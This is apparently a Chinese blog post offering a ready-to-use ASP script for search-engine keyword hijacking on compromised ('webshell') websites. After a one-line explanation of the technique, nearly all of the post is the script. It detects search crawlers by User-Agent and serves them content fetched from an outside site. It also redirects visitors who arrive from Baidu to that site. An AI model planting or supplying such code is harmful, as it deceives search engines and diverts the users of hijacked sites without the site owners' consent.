ASP搜索引擎关键词劫持跳转代码

关键词劫持（黑帽seo）其实原理很简单：搜索引擎关键词劫持的过程实际上就是，修改肉鸡站点（webshell站点）A的首页（希望被搜索引擎收录的页面，一般情况下是首页），使之做出判断…

<% 
function GetBot() 
'查询蜘蛛 
dim s_agent 
GetBot="" 
s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句 
if instr(1,s_agent,"googlebot",1) >0 then 
GetBot="google" 
end if 
if instr(1,s_agent,"msnbot",1) >0 then 
GetBot="MSN" 
end if 
if instr(1,s_agent,"slurp",1) >0 then 
GetBot="Yahoo" 
end if 
if instr(1,s_agent,"baiduspider",1) >0 then 
GetBot="baidu" 
end if 
if instr(1,s_agent,"sohu-search",1) >0 then 
GetBot="Sohu" 
end if 
if instr(1,s_agent,"lycos",1) >0 then 
GetBot="Lycos" 
end if 
if instr(1,s_agent,"robozilla",1) >0 then 
GetBot="Robozilla" 
end if 
end function 
Function getHTTPPage(Path) 
t = GetBody(Path) 
getHTTPPage=BytesToBstr(t,"GB2312")'编码 
End function 
Function Newstring(wstr,strng) 
Newstring=Instr(lcase(wstr),lcase(strng)) 
if Newstring<=0 then Newstring=Len(wstr) 
End Function 
Function GetBody(url) 
on error resume next 
Set Retrieval = CreateObject("Microsoft.XMLHTTP") 
With Retrieval 
.Open "Get", url, False, "", "" 
.Send 
GetBody = .ResponseBody 
End With 
Set Retrieval = Nothing 
End Function 
Function BytesToBstr(body,Cset) 
dim objstream 
set objstream = Server.CreateObject("adodb.stream") 
objstream.Type = 1 
objstream.Mode =3 
objstream.Open 
objstream.Write body 
objstream.Position = 0 
objstream.Type = 2 
objstream.Charset = Cset 
BytesToBstr = objstream.ReadText 
objstream.Close 
set objstream = nothing 
End Function 
Dim wstr,str,url,start,over,dtime 
if GetBot="baidu" then 
'给百度蜘蛛定制的内容 
url="https://www.zhanniao.cn" 
'想要展示给蜘蛛的页面地址 
wstr=getHTTPPage(url) 
body=wstr 
response.write ""&body&"" 
response.end 
elseif GetBot="google" then 
'给google 蜘蛛定制的内容 
url="https://www.zhanniao.cn" 
wstr=getHTTPPage(url) 
body=wstr 
response.write ""&body&"" 
response.end 
end if 
if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then 
'如果用户来自www.baidu.com 
response.redirect("https://www.zhanniao.cn/") 
'跳转指定地址 
end if 
%>